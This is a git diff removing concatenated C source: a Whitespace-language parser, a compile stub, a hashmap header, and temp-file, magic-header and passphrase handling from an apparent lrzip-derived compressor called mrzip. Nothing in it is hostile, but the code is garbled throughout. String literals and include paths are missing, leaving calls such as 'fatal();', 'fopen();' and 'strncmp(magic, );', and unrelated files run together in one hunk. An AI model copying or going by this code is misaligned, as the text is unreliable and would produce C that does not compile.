:EndSection - -:EndClass \ No newline at end of file + ∇s \ No newline at end of file diff --git a/ref_c b/ref_c index 8bbdffa..bc36d71 100644 --- a/ref_c +++ b/ref_c @@ -1,3216 +1,273 @@ - -#include -#include -#include - -uint16_t Q; - -static int8_t next(FILE * input) { - char c; - while((c = getc(input)) != EOF) { - Q++; - if(c == ' ' || c == '\n' || c == '\t') - return c; - } - return 0; -} - -static int32_t getnum(FILE * input) { - uint8_t sign = next(input), c; - int32_t n = 0, q; - if(sign != '\t' && sign != ' ') - return 0; - q = sign == '\t' ? -1 : 1; - while((c = next(input)) != '\n') { - n <<= 1; - if(c == '\t') n++; - if(!c) break; - } - return n * q; -} - -static vector(char) getlab(FILE * input) { - vector(char) label = NULL; - uint8_t c; - while((c = next(input)) != '\n') - vector_push_back(label, c == '\t' ? 'T' : 'S'); - vector_push_back(label, 0); - return label; -} - -struct _label_t { - int32_t id; - char * name; - struct instruction_t parent; -}; - -static struct _label_t * getlabel(vector(struct _label_t) vec, char * label_text) { - vector_foreach(struct _label_t, it, vec) - if(!strcmp(label_text, it->name)) - return it; - return NULL; -} - -static vector(struct label_t) fixup_labels(vector(struct instruction_t) program, void(*warn)(char * s)) { - vector(struct _label_t) labels = NULL; - vector(struct label_t) labs = NULL; - int32_t labid = 1; - - vector_foreach(struct instruction_t, it, program) - if(it->type == LBL) { - struct _label_t * l; - if((l = getlabel(labels, it->label)) != NULL) { - warn(); - vector_free(it->label); - it->data = l->id; - continue; - } - struct _label_t lab = {.id = labid, .parent = *it, .name = it->label}; - struct label_t public_label = {.id = labid, .parent = it}; - it->data = labid++; - vector_push_back(labels, lab); - vector_push_back(labs, public_label); - } - - vector_foreach(struct instruction_t, it, program) - switch(it->type) { - case CALL: case JMP: case BZ: case BLTZ: { - struct _label_t * l; - if((l = getlabel(labels, it->label)) != NULL) { - vector_free(it->label); - it->data = l->id; - } else { - vector_free(it->label); - warn(); - it->data = 0; - } - } - } - - vector_foreach(struct _label_t, it, labels) - vector_free(it->name); - - vector_free(labels); - - return labs; -} - -struct parse_result_t parse(FILE * input, void (*fatal)(char * s), void (*warn)(char * s)) { - vector(struct instruction_t) q = NULL; - struct instruction_t cur; - - while(!feof(input)) { - switch(next(input)) { - case '\t': - switch(next(input)) { - case '\t': - vector_push_back(q, cur = parse_heap(input, fatal)); - break; - case ' ': - vector_push_back(q, cur = parse_arith(input, fatal)); - break; - case '\n': - vector_push_back(q, cur = parse_io(input, fatal)); - break; - default: - fatal(); return (struct parse_result_t) { NULL, NULL }; - } - break; - case ' ': - vector_push_back(q, cur = parse_stack(input, fatal)); - break; - case '\n': - vector_push_back(q, cur = parse_flow(input, fatal)); - break; - } - - if(cur.type == ERR) - return (struct parse_result_t) { NULL, NULL }; - } - - return (struct parse_result_t) { q, fixup_labels(q, warn) }; -} - - #include #include -#include #include -#include -#include - -#include -#include - -static void append_code(char ** buf, char * format, ...) { - va_list args, args2; - va_start(args, format); - va_copy(args2, args); - uint32_t buflen = *buf ? strlen(*buf) : 0; - uint32_t length = 1 + buflen + vsnprintf(NULL, 0, format, args); - va_end(args); - if(*buf) - *buf = realloc(*buf, length); - else - *buf = malloc(length); - assert(*buf); - vsnprintf(*buf + buflen, length - buflen, format, args2); - va_end(args2); -} - -#define emit(x) append_code(&code, x) -#define emitf(x,...) append_code(&code, x, __VA_ARGS__) - -char * compile(struct parse_result_t program) { - unsigned callid = vector_size(program.labels); - char * code = NULL; - - return code; -} - - -#ifndef _MAP_H_ -#define _MAP_H_ - -#define hashmap_str_lit(str) (str), sizeof(str) - 1 -#define hashmap_static_arr(arr) (arr), sizeof(arr) - -#include -#include -#include - -#define HASHMAP_HASH_INIT 2166136261u - -#ifdef DIRAC_64 -static uint32_t hash_data(const unsigned char* data, size_t size) -{ - size_t nblocks = size / 8; - uint64_t hash = HASHMAP_HASH_INIT, last; - size_t i; - for (i = 0; i < nblocks; ++i) - { - hash ^= (uint64_t)data[0] << 0 | (uint64_t)data[1] << 8 | - (uint64_t)data[2] << 16 | (uint64_t)data[3] << 24 | - (uint64_t)data[4] << 32 | (uint64_t)data[5] << 40 | - (uint64_t)data[6] << 48 | (uint64_t)data[7] << 56; - hash *= 0xbf58476d1ce4e5b9; - data += 8; - } - - last = size & 0xff; - switch (size % 8) - { - case 7: - last |= (uint64_t)data[6] << 56; /* fallthrough */ - case 6: - last |= (uint64_t)data[5] << 48; /* fallthrough */ - case 5: - last |= (uint64_t)data[4] << 40; /* fallthrough */ - case 4: - last |= (uint64_t)data[3] << 32; /* fallthrough */ - case 3: - last |= (uint64_t)data[2] << 24; /* fallthrough */ - case 2: - last |= (uint64_t)data[1] << 16; /* fallthrough */ - case 1: - last |= (uint64_t)data[0] << 8; - hash ^= last; - hash *= 0xd6e8feb86659fd93; - } - - /* compress to a 32-bit result. also serves as a finalizer. */ - return hash ^ hash >> 32; -} -#else -#ifdef DIRAC_32 -static uint32_t hash_data(const unsigned char* data, size_t size) { - int i, j; - unsigned int byte, crc, mask; - - i = 0; - crc = 0xFFFFFFFF; - while (i < size) { - byte = data[i]; - crc = crc ^ byte; - for (j = 7; j >= 0; j--) { - mask = -(crc & 1); - crc = (crc >> 1) ^ (0xEDB88320 & mask); - } - i = i + 1; - } - return ~crc; -} -#else -static uint16_t hash_data(const unsigned char* data, size_t size) { - unsigned char x; - unsigned short crc = 0xFFFF; - - while (size--){ - x = crc >> 8 ^ *data++; - x ^= x>>4; - crc = (crc << 8) ^ ((unsigned short)(x << 12)) ^ ((unsigned short)(x <<5)) ^ ((unsigned short)x); - } - return crc; -} -#endif -#endif - -/* hashmaps can associate keys with pointer values or integral types. */ -typedef struct hashmap hashmap; - -/* a callback type used for iterating over a map/freeing entries: - * `void (void* key, size_t size, uintptr_t value, void* usr)` - * `usr` is a user pointer which can be passed through `hashmap_iterate`. - */ -typedef void (*hashmap_callback)(void *key, size_t ksize, uintptr_t value, void *usr); - -static hashmap* hashmap_create(void); - -/* only frees the hashmap object and buckets. - * does not call free on each element's `key` or `value`. - * to free data associated with an element, call `hashmap_iterate`. - */ -static void hashmap_free(hashmap* map); - -/* does not make a copy of `key`. - * you must copy it yourself if you want to guarantee its lifetime, - * or if you intend to call `hashmap_key_free`. - */ -static void hashmap_set(hashmap* map, void* key, size_t ksize, uintptr_t value); - -/* adds an entry if it doesn't exist, using the value of `*out_in`. - * if it does exist, it sets value in `*out_in`, meaning the value - * of the entry will be in `*out_in` regardless of whether or not - * it existed in the first place. - * returns true if the entry already existed, returns false otherwise. - */ -static int hashmap_get_set(hashmap* map, void* key, size_t ksize, uintptr_t* out_in); - -/* similar to `hashmap_set()`, but when overwriting an entry, - * you'll be able properly free the old entry's data via a callback. - * unlike `hashmap_set()`, this function will overwrite the original key pointer, - * which means you can free the old key in the callback if applicable. - */ -static void hashmap_set_free(hashmap* map, void* key, size_t ksize, uintptr_t value, hashmap_callback c, void* usr); - -static int hashmap_get(hashmap* map, void* key, size_t ksize, uintptr_t* out_val); - -static int hashmap_size(hashmap* map); - -/* iterate over the map, calling `c` on every element. - * goes through elements in the order they were added. - * the element's key, key size, value, and `usr` will be passed to `c`. - */ -static void hashmap_iterate(hashmap* map, hashmap_callback c, void* usr); - -#define HASHMAP_DEFAULT_CAPACITY 5 -#define HASHMAP_MAX_LOAD 0.75f -#define HASHMAP_RESIZE_FACTOR 2 - -struct bucket -{ - /* `next` must be the first struct element. - * changing the order will break multiple functions */ - struct bucket* next; - - /* key, key size, key hash, and associated value */ - void* key; - size_t ksize; - uint32_t hash; - uintptr_t value; -}; - -struct hashmap -{ - struct bucket* buckets; - int capacity; - int count; - - /* a linked list of all valid entries, in order */ - struct bucket* first; - /* lets us know where to add the next element */ - struct bucket* last; -}; - -static hashmap* hashmap_create(void) -{ - hashmap* m = malloc(sizeof(hashmap)); - m->capacity = HASHMAP_DEFAULT_CAPACITY; - m->count = 0; - - m->buckets = calloc(HASHMAP_DEFAULT_CAPACITY, sizeof(struct bucket)); - m->first = NULL; - - /* this prevents branching in hashmap_set. - * m->first will be treated as the pointer in an imaginary bucket. - * when the first item is added, m->first will be set to the correct address. - */ - m->last = (struct bucket*)&m->first; - return m; -} - -static void hashmap_free(hashmap* m) -{ - free(m->buckets); - free(m); -} - -/* puts an old bucket into a resized hashmap */ -static struct bucket* resize_entry(hashmap* m, struct bucket* old_entry) -{ - uint32_t index = old_entry->hash % m->capacity; - for (;;) - { - struct bucket* entry = &m->buckets[index]; - - if (entry->key == NULL) - { - *entry = *old_entry; - return entry; - } - - index = (index + 1) % m->capacity; - } -} - -static void hashmap_resize(hashmap* m) -{ - struct bucket* old_buckets = m->buckets; - - m->capacity *= HASHMAP_RESIZE_FACTOR; - m->buckets = calloc(m->capacity, sizeof(struct bucket)); - m->last = (struct bucket*)&m->first; - - do - { - m->last->next = resize_entry(m, m->last->next); - m->last = m->last->next; - } while (m->last->next != NULL); - - free(old_buckets); -} - -static struct bucket* find_entry(hashmap* m, void* key, size_t ksize, uint32_t hash) -{ - uint32_t index = hash % m->capacity; - - for (;;) - { - struct bucket* entry = &m->buckets[index]; - - /* kind of a thicc condition; */ - /* I didn't want this to span multiple if statements or functions. */ - if (entry->key == NULL || - /* compare sizes, then hashes, then key data as a last resort. */ - (entry->ksize == ksize && - entry->hash == hash && - memcmp(entry->key, key, ksize) == 0)) - { - /* return the entry if a match or an empty bucket is found */ - return entry; - } - - index = (index + 1) % m->capacity; - } -} - -static void hashmap_set(hashmap* m, void* key, size_t ksize, uintptr_t val) -{ - uint32_t hash; - struct bucket * entry; - - if (m->count + 1 > HASHMAP_MAX_LOAD * m->capacity) - hashmap_resize(m); - - hash = hash_data(key, ksize); - entry = find_entry(m, key, ksize, hash); - if (entry->key == NULL) - { - m->last->next = entry; - m->last = entry; - entry->next = NULL; - - ++m->count; - - entry->key = key; - entry->ksize = ksize; - entry->hash = hash; - } - entry->value = val; -} - -static int hashmap_get_set(hashmap* m, void* key, size_t ksize, uintptr_t* out_in) -{ - uint32_t hash; - struct bucket * entry; - - if (m->count + 1 > HASHMAP_MAX_LOAD * m->capacity) - hashmap_resize(m); - - hash = hash_data(key, ksize); - entry = find_entry(m, key, ksize, hash); - if (entry->key == NULL) - { - m->last->next = entry; - m->last = entry; - entry->next = NULL; - - ++m->count; - - entry->value = *out_in; - entry->key = key; - entry->ksize = ksize; - entry->hash = hash; - - return 0; - } - *out_in = entry->value; - return 1; -} - -static void hashmap_set_free(hashmap* m, void* key, size_t ksize, uintptr_t val, hashmap_callback c, void* usr) -{ - uint32_t hash; - struct bucket * entry; - - if (m->count + 1 > HASHMAP_MAX_LOAD * m->capacity) - hashmap_resize(m); - - hash = hash_data(key, ksize); - entry = find_entry(m, key, ksize, hash); - if (entry->key == NULL) - { - m->last->next = entry; - m->last = entry; - entry->next = NULL; - - ++m->count; - - entry->key = key; - entry->ksize = ksize; - entry->hash = hash; - entry->value = val; - return; - } - /* allow the callback to free entry data. - * use old key and value so the callback can free them. - * the old key and value will be overwritten after this call. */ - c(entry->key, ksize, entry->value, usr); - - /* overwrite the old key pointer in case the callback frees it. */ - entry->key = key; - entry->value = val; -} - -static int hashmap_get(hashmap* m, void* key, size_t ksize, uintptr_t* out_val) -{ - uint32_t hash = hash_data(key, ksize); - struct bucket* entry = find_entry(m, key, ksize, hash); - - /* if there is no match, output val will just be NULL */ - *out_val = entry->value; - - return entry->key != NULL; -} - -static int hashmap_size(hashmap* m) -{ - return m->count; -} - -static void hashmap_iterate(hashmap* m, hashmap_callback c, void* user_ptr) -{ - /* loop through the linked list of valid entries - * this way we can skip over empty buckets */ - struct bucket* current = m->first; - - int co = 0; - - while (current != NULL) - { - c(current->key, current->ksize, current->value, user_ptr); - - current = current->next; - - if (co > 1000) - { - break; - } - co++; - - } -} - -#endif - -/* - Copyright (C) 2006-2016,2018 Con Kolivas - Copyright (C) 2011, 2022 Peter Hyman - Copyright (C) 1998-2003 Andrew Tridgell - Copyright (C) 2022 Kamila Szewczyk - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -#include -#include -#include #include -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include -#include -#include - -#define MAGIC_LEN (20) // new v 0.9 magic header -#define MAGIC_V8_LEN (18) // new v 0.8 magic header -#define OLD_MAGIC_LEN (24) // Just to read older versions -#define MAGIC_HEADER (6) // to validate file initially - -static void release_hashes(rzip_control * control); - -static i64 fdout_seekto(rzip_control * control, i64 pos) { - if (TMP_OUTBUF) { - pos -= control->out_relofs; - control->out_ofs = pos; - if (unlikely(pos > control->out_len || pos < 0)) { - print_err(, pos); - return -1; - } - - return 0; - } - return lseek(control->fd_out, pos, SEEK_SET); -} - -i64 get_ram(rzip_control * control) { -#ifdef __APPLE__ - #include - int mib[2]; - size_t len; - i64 ramsize; - - mib[0] = CTL_HW; - mib[1] = HW_MEMSIZE; - sysctl(mib, 2, &ramsize, &len, NULL, 0); -#elif defined(__OpenBSD__) - #include - struct rlimit rl; - i64 ramsize = (i64)sysconf(_SC_PHYS_PAGES) * PAGE_SIZE; - - /* Raise limits all the way to the max */ - - if (getrlimit(RLIMIT_DATA, &rl) == -1) fatal((), -1); - - rl.rlim_cur = rl.rlim_max; - if (setrlimit(RLIMIT_DATA, &rl) == -1) fatal((), -1); - - /* Declare detected RAM to be either the max RAM available from - physical memory or the max RAM allowed by RLIMIT_DATA, whatever - is smaller, to prevent the heuristics from selecting - compression windows which cause mrzip to go into deep swap */ - - if (rl.rlim_max < ramsize) return rl.rlim_max; - - return ramsize; -#else /* __APPLE__ or __Open_BSD__ */ - i64 ramsize; - FILE * meminfo; - char aux[256]; - - ramsize = (i64)sysconf(_SC_PHYS_PAGES) * PAGE_SIZE; - if (ramsize <= 0) { - /* Workaround for uclibc which doesn't properly support sysconf */ - if (!(meminfo = fopen(); - - while (!feof(meminfo) && !fscanf(meminfo, , &ramsize)) { - if (unlikely(fgets(aux, sizeof(aux), meminfo) == NULL)) { - fclose(meminfo); - fatal(); - } - } - if (fclose(meminfo) == -1) fatal(); - ramsize *= 1024; - } -#endif - if (ramsize <= 0) fatal(); - return ramsize; -} - -i64 nloops(i64 seconds, uchar * b1, uchar * b2) { - i64 nloops; - int nbits; - - nloops = ARBITRARY_AT_EPOCH * pow(MOORE_TIMES_PER_SECOND, seconds); - if (nloops < ARBITRARY) nloops = ARBITRARY; - for (nbits = 0; nloops > 255; nbits++) nloops = nloops >> 1; - *b1 = nbits; - *b2 = nloops; - return nloops << nbits; -} - -bool write_magic(rzip_control * control) { - unsigned char magic[MAGIC_LEN] = { 'M', 'R', 'Z', 'I', MRZIP_MAJOR, MRZIP_MINOR }; - - /* In encrypted files, the size is left unknown - * and instead the salt is stored here to preserve space. */ - // FIXME. I think we can do better. 8 bytes is no reason to save space - if (ENCRYPT) { - memcpy(&magic[6], &control->salt, 8); - magic[15] = control->enc_code; /* write whatever encryption code */ - } else if (control->eof) { - i64 esize = htole64(control->st_size); // we know file size even when piped - memcpy(&magic[6], &esize, 8); - } - /* This is a flag that the archive contains an hash sum at the end - * which can be used as an integrity check instead of crc check. - * crc is still stored for compatibility with 0.5 versions. - */ - if (HAS_HASH) magic[14] = control->hash_code; /* write whatever hash */ - - magic[16] = 0; - - /* save LZMA dictionary size */ - if (ZPAQ_COMPRESS) { - /* Save zpaq compression level and block size as one byte */ - /* High order bits = 128 + (16 * Compression Level 3-5) - * Low order bits = Block Size 1-11 - * 128 necessary to distinguish in decoding LZMA which is 1-40 - * 1CCC BBBB in binary */ - magic[17] = 0b10000000 + (control->zpaq_level << 4) + control->zpaq_bs; - /* Decoding would be - * magic byte & 127 (clear high bit) - * zpaq_bs = magic byte & 0X0F - * zpaq_level = magic_byte >> 4 - */ - } else if (BZIP3_COMPRESS) { - /* Save block size. ZPAQ compression level is from 3 to 5, so this is sound. - bzip3 blocksize is from 1 to 8 (or 0 to 7). */ - magic[17] = 0b11110000 + bzip3_prop_from_block_size(control->bzip3_block_size); - } - - /* save compression levels - * high order bits, rzip compression level - * low order bits mrzip compression level - */ - magic[18] = (control->rzip_compression_level << 4) + control->compression_level; - - /* store comment length */ - magic[19] = (char)control->comment_length; - - if (unlikely(fdout_seekto(control, 0))) fatal(); - - if (unlikely(put_fdout(control, magic, MAGIC_LEN) != MAGIC_LEN)) fatal(); - - /* now write comment if any */ - if (magic[19]) { - if (unlikely(put_fdout(control, control->comment, control->comment_length) != control->comment_length)) - fatal(); - } - - control->magic_written = 1; - return true; -} - -static inline i64 enc_loops(uchar b1, uchar b2) { return (i64)b2 << (i64)b1; } - -// check for comments -// Called only if comment length > 0 - -static void get_comment(rzip_control * control, int fd_in, unsigned char * magic) { - if (unlikely(!(control->comment = malloc(magic[19] + 1)))) fatal(); - /* read comment */ - if (unlikely(read(fd_in, control->comment, magic[19]) != magic[19])) fatal(); - - control->comment_length = magic[19]; - control->comment[control->comment_length] = '\0'; - return; -} - -// retriev lzma properties - -static void get_hash_from_magic(rzip_control * control, unsigned char * magic) { - /* Whether this archive contains hash data at the end or not */ - if (*magic > 0 && *magic <= MAXHASH) { - control->flags |= FLAG_HASHED; - control->hash_code = *magic; /* set hash code */ - control->hash_label = &hashes[control->hash_code].label[0]; - control->hash_gcode = &hashes[control->hash_code].gcode; - control->hash_len = &hashes[control->hash_code].length; - } else - print_verbose(); - - return; -} - -// get encrypted salt - -static void get_encryption(rzip_control * control, unsigned char * magic, unsigned char * salt) { - if (*magic > 0 && *magic <= MAXENC) { - control->flags |= FLAG_ENCRYPT; - control->enc_code = *magic; - /* In encrypted files, the size field is used to store the salt - * instead and the size is unknown, just like a STDOUT chunked - * file */ - memcpy(&control->salt, salt, 8); - control->st_size = 0; - control->encloops = enc_loops(control->salt[0], control->salt[1]); - } else if (ENCRYPT) { - print_err(); - control->flags &= ~FLAG_ENCRYPT; - control->enc_code = 0; - } - control->enc_label = &encryptions[control->enc_code].label[0]; - control->enc_gcode = &encryptions[control->enc_code].gcode; - control->enc_keylen = &encryptions[control->enc_code].keylen; - control->enc_ivlen = &encryptions[control->enc_code].ivlen; - - return; -} - -// expected size - -static void get_expected_size(rzip_control * control, unsigned char * magic) { - i64 expected_size; - - memcpy(&expected_size, &magic[6], 8); - control->st_size = le64toh(expected_size); - - return; -} - -// new mrzip v8 magic header format. - -static void get_magic_v8(rzip_control * control, unsigned char * magic) { - int i; - - if (!magic[15]) // not encrypted - get_expected_size(control, magic); - get_encryption(control, &magic[15], &magic[6]); - - if ((magic[17] & 0b10000000)) // bzip3 or zpaq block sizes/levels stored - { - if ((magic[17] & 0b11110000) == 0b11110000) { // bzip3 block size - control->bzip3_bs = magic[17] & 0b00001111; // bzip3 block size code 0 to 8 - control->bzip3_block_size = BZIP3_BLOCK_SIZE_FROM_PROP(control->bzip3_bs); // Real Block Size - } else // zpaq block and compression level stored - { - control->zpaq_bs = magic[17] & 0b00001111; // low order bits are block size - magic[17] &= 0b01110000; // strip high bit - control->zpaq_level = magic[17] >> 4; // divide by 16 - } - } - - get_hash_from_magic(control, &magic[14]); - - return; -} - -// new mrzip v9 magic header format. - -static void get_magic_v9(rzip_control * control, int fd_in, unsigned char * magic) { - /* get compression levels - * rzip level is high order bits - * mrzip level is low order bits - */ - control->compression_level = magic[18] & 0b00001111; - control->rzip_compression_level = magic[18] >> 4; - - if (magic[19]) /* get comment if there is one */ - get_comment(control, fd_in, magic); - - return; -} -static bool get_magic(rzip_control * control, int fd_in, unsigned char * magic) { - memcpy(&control->major_version, &magic[4], 1); - memcpy(&control->minor_version, &magic[5], 1); - - /* zero out compression levels so info does not show for earlier versions */ - control->rzip_compression_level = control->compression_level = 0; - /* remove checks for mrzip < 0.6 */ - if (control->major_version == 0) { - switch (control->minor_version) { - case 9: /* version 0.9 adds two bytes */ - get_magic_v8(control, magic); - get_magic_v9(control, fd_in, magic); - break; - default: - print_err(, control->major_version, - control->minor_version); - return false; - } - } - - return true; -} - -static bool read_magic(rzip_control * control, int fd_in, i64 * expected_size) { - unsigned char magic[OLD_MAGIC_LEN]; // Make at least big enough for old magic - int bytes_to_read; // simplify reading of magic - - memset(magic, 0, sizeof(magic)); - /* Initially read only file type and version */ - if (unlikely(read(fd_in, magic, MAGIC_HEADER) != MAGIC_HEADER)) fatal(); - - if (unlikely(strncmp(magic, ); - - if (magic[4] == 0) { - if (magic[5] < 8) /* old magic */ - bytes_to_read = OLD_MAGIC_LEN; - else if (magic[5] == 8) /* 0.8 file */ - bytes_to_read = MAGIC_V8_LEN; - else /* ASSUME current version */ - bytes_to_read = MAGIC_LEN; - - if (unlikely(read(fd_in, &magic[6], bytes_to_read - MAGIC_HEADER) != bytes_to_read - MAGIC_HEADER)) - fatal(); - } - - if (unlikely(!get_magic(control, fd_in, magic))) return false; - *expected_size = control->st_size; - return true; -} - -/* show mrzip version - * helps preserve output format when validating - */ -static void show_version(rzip_control * control) { - print_verbose(, control->major_version, control->minor_version); -} - -/* preserve ownership and permissions where possible */ -static bool preserve_perms(rzip_control * control, int fd_in, int fd_out) { - struct stat st; - - if (unlikely(fstat(fd_in, &st))) fatal(); - if (unlikely(fchmod(fd_out, (st.st_mode & 0666)))) - print_verbose(, control->outfile); - - /* chown fail is not fatal_return(( */ - if (unlikely(fchown(fd_out, st.st_uid, st.st_gid))) - print_verbose(, control->outfile); - return true; -} - -static bool preserve_times(rzip_control * control, int fd_in) { - struct utimbuf times; - struct stat st; - - if (unlikely(fstat(fd_in, &st))) fatal(); - times.actime = 0; - times.modtime = st.st_mtime; - if (unlikely(utime(control->outfile, ×))) - print_verbose(, control->outfile); - - return true; -} - -/* Open a temporary outputfile to emulate stdout */ -int open_tmpoutfile(rzip_control * control) { - int fd_out; - - if (STDOUT && !TEST_ONLY) print_verbose(); - control->outfile = realloc(NULL, strlen(control->tmpdir) + 16); - if (unlikely(!control->outfile)) fatal(); - strcpy(control->outfile, control->tmpdir); - strcat(control->outfile, ); - - fd_out = mkstemp(control->outfile); - if (fd_out == -1) fatal(, control->outfile); - - register_outfile(control, control->outfile, TEST_ONLY || STDOUT || !KEEP_BROKEN); - return fd_out; -} - -static bool fwrite_stdout(rzip_control * control, void * buf, i64 len) { - uchar * offset_buf = buf; - ssize_t ret, nmemb; - i64 total; - - total = 0; - while (len > 0) { - nmemb = len; - ret = fwrite(offset_buf, 1, nmemb, control->outFILE); - if (unlikely(ret == -1)) fatal(, nmemb); - len -= ret; - offset_buf += ret; - total += ret; - } - fflush(control->outFILE); - return true; -} - -bool write_fdout(rzip_control * control, void * buf, i64 len) { - uchar * offset_buf = buf; - ssize_t ret, nmemb; - - while (len > 0) { - nmemb = len; - ret = write(control->fd_out, offset_buf, (size_t)nmemb); - /* error if ret == -1 only. Otherwise, buffer not wholly written */ - if (unlikely(ret == -1)) /* error, not underflow */ - fatal(, nmemb); - len -= ret; - offset_buf += ret; - } - return true; -} - -bool flush_tmpoutbuf(rzip_control * control) { - if (!TEST_ONLY) { - print_maxverbose(); - if (STDOUT) { - if (unlikely(!fwrite_stdout(control, control->tmp_outbuf, control->out_len))) return false; - } else { - if (unlikely(!write_fdout(control, control->tmp_outbuf, control->out_len))) return false; - } - } - control->out_relofs += control->out_len; - control->out_ofs = control->out_len = 0; - return true; -} - -/* Dump temporary outputfile to perform stdout */ -bool dump_tmpoutfile(rzip_control * control, int fd_out) { - FILE * tmpoutfp; - int tmpchar; - - if (unlikely(fd_out == -1)) fatal(); - /* flush anything not yet in the temporary file */ - fsync(fd_out); - tmpoutfp = fdopen(fd_out, ); - if (unlikely(tmpoutfp == NULL)) fatal(); - rewind(tmpoutfp); - - if (!TEST_ONLY) { - print_verbose(); - while ((tmpchar = fgetc(tmpoutfp)) != EOF) putchar(tmpchar); - fflush(control->outFILE); - rewind(tmpoutfp); - } - - if (unlikely(ftruncate(fd_out, 0))) fatal(); - return true; -} - -/* Used if we're unable to read STDIN into the temporary buffer, shunts data - * to temporary file */ -bool write_fdin(rzip_control * control) { - uchar * offset_buf = control->tmp_inbuf; - i64 len = control->in_len; - ssize_t ret; - - while (len > 0) { - ret = len; - ret = write(control->fd_in, offset_buf, (size_t)ret); - if (unlikely(ret == -1)) fatal(); - len -= ret; - offset_buf += ret; - } - return true; -} - -/* Open a temporary inputfile to perform stdin decompression */ -int open_tmpinfile(rzip_control * control) { - int fd_in = -1; - - /* Use temporary directory if there is one. /tmp is default */ - control->infile = malloc(strlen(control->tmpdir) + 15); - if (unlikely(!control->infile)) fatal(); - strcpy(control->infile, control->tmpdir); - strcat(control->infile, ); - fd_in = mkstemp(control->infile); - - if (fd_in == -1) fatal(, control->infile); - - register_infile(control, control->infile, (DECOMPRESS || TEST_ONLY) && STDIN); - /* Unlink temporary file immediately to minimise chance of files left - * lying around */ - if (unlikely(unlink(control->infile))) { - close(fd_in); - fatal(, control->infile); - } - return fd_in; -} - -static bool read_tmpinmagic(rzip_control * control, int fd_in) { - /* just in case < 0.8 file */ - char magic[OLD_MAGIC_LEN]; - int bytes_to_read, i, tmpchar; - - memset(magic, 0, sizeof(magic)); - /* Initially read only file type and version */ - for (i = 0; i < MAGIC_HEADER; i++) { - tmpchar = getchar(); - if (unlikely(tmpchar == EOF)) fatal(); - magic[i] = (char)tmpchar; - } - - if (unlikely(strncmp(magic, ); - - if (magic[4] == 0) { - if (magic[5] < 8) /* old magic */ - bytes_to_read = OLD_MAGIC_LEN; - else if (magic[5] == 8) /* 0.8 file */ - bytes_to_read = MAGIC_V8_LEN; - else /* ASSUME current version */ - bytes_to_read = MAGIC_LEN; - - for (; i < bytes_to_read; i++) { - tmpchar = getchar(); - if (unlikely(tmpchar == EOF)) fatal(); - magic[i] = (char)tmpchar; - } - } - - return get_magic(control, fd_in, magic); -} - -/* Read data from stdin into temporary inputfile */ -bool read_tmpinfile(rzip_control * control, int fd_in) { - FILE * tmpinfp; - int tmpchar; - - if (fd_in == -1) return false; - if (control->flags & FLAG_SHOW_PROGRESS) fprintf(control->msgout, ); - tmpinfp = fdopen(fd_in, ); - if (unlikely(tmpinfp == NULL)) fatal(); - - while ((tmpchar = getchar()) != EOF) fputc(tmpchar, tmpinfp); - - fflush(tmpinfp); - rewind(tmpinfp); - return true; -} - -/* To perform STDOUT, we allocate a proportion of ram that is then used as - * a pseudo-temporary file */ -static bool open_tmpoutbuf(rzip_control * control) { - i64 maxlen = control->maxram; - void * buf; - - while (42) { - round_to_page(&maxlen); - buf = malloc(maxlen); - if (buf) { - print_maxverbose(, maxlen); - break; - } - maxlen = maxlen / 3 * 2; - if (maxlen < 100000000) fatal(); - } - control->flags |= FLAG_TMP_OUTBUF; - /* Allocate slightly more so we can cope when the buffer overflows and - * fall back to a real temporary file */ - control->out_maxlen = maxlen + control->page_size; - control->tmp_outbuf = buf; - if (!DECOMPRESS && !TEST_ONLY) control->out_ofs = control->out_len = MAGIC_LEN + control->comment_length; - return true; -} - -/* We've decided to use a temporary output file instead of trying to store - * all the output buffer in ram so we can free up the ram and increase the - * maximum sizes of ram we can allocate */ -void close_tmpoutbuf(rzip_control * control) { - control->flags &= ~FLAG_TMP_OUTBUF; - dealloc(control->tmp_outbuf); - control->usable_ram = control->maxram += control->ramsize / 18; -} - -static bool open_tmpinbuf(rzip_control * control) { - control->flags |= FLAG_TMP_INBUF; - control->in_maxlen = control->maxram; - control->tmp_inbuf = malloc(control->maxram + control->page_size); - if (unlikely(!control->tmp_inbuf)) fatal(); - return true; -} - -void clear_tmpinbuf(rzip_control * control) { control->in_len = control->in_ofs = 0; } - -bool clear_tmpinfile(rzip_control * control) { - if (unlikely(lseek(control->fd_in, 0, SEEK_SET))) fatal(); - if (unlikely(ftruncate(control->fd_in, 0))) fatal(); - return true; -} - -/* As per temporary output file but for input file */ -void close_tmpinbuf(rzip_control * control) { - control->flags &= ~FLAG_TMP_INBUF; - dealloc(control->tmp_inbuf); - control->usable_ram = control->maxram += control->ramsize / 18; -} - -static int get_pass(rzip_control * control, char * s) { - int len; - - memset(s, 0, PASS_LEN - SALT_LEN); - if (control->passphrase) - strncpy(s, control->passphrase, PASS_LEN - SALT_LEN - 1); - else if (unlikely(fgets(s, PASS_LEN - SALT_LEN, stdin) == NULL)) - fatal(); - len = strlen(s); - if (len > 0 && ('\r' == s[len - 1] || '\n' == s[len - 1])) s[len - 1] = '\0'; - if (len > 1 && ('\r' == s[len - 2] || '\n' == s[len - 2])) s[len - 2] = '\0'; - len = strlen(s); - if (unlikely(0 == len)) fatal(); - return len; -} - -static bool get_hash(rzip_control * control, int make_hash) { - char *passphrase, *testphrase; - struct termios termios_p; - int prompt = control->passphrase == NULL; - - passphrase = calloc(PASS_LEN, 1); - testphrase = calloc(PASS_LEN, 1); - control->salt_pass = calloc(PASS_LEN, 1); - control->hash = calloc(HASH_LEN, 1); - if (unlikely(!passphrase || !testphrase || !control->salt_pass || !control->hash)) { - dealloc(testphrase); - dealloc(passphrase); - dealloc(control->salt_pass); - dealloc(control->hash); - fatal(); - } - mlock(passphrase, PASS_LEN); - mlock(testphrase, PASS_LEN); - mlock(control->salt_pass, PASS_LEN); - mlock(control->hash, HASH_LEN); - - /* mrzip library callback code removed */ - /* Disable stdin echo to screen */ - tcgetattr(fileno(stdin), &termios_p); - termios_p.c_lflag &= ~ECHO; - tcsetattr(fileno(stdin), 0, &termios_p); -retry_pass: - if (prompt) print_output(); - control->salt_pass_len = get_pass(control, passphrase) + SALT_LEN; - if (prompt) print_output(); - if (make_hash) { 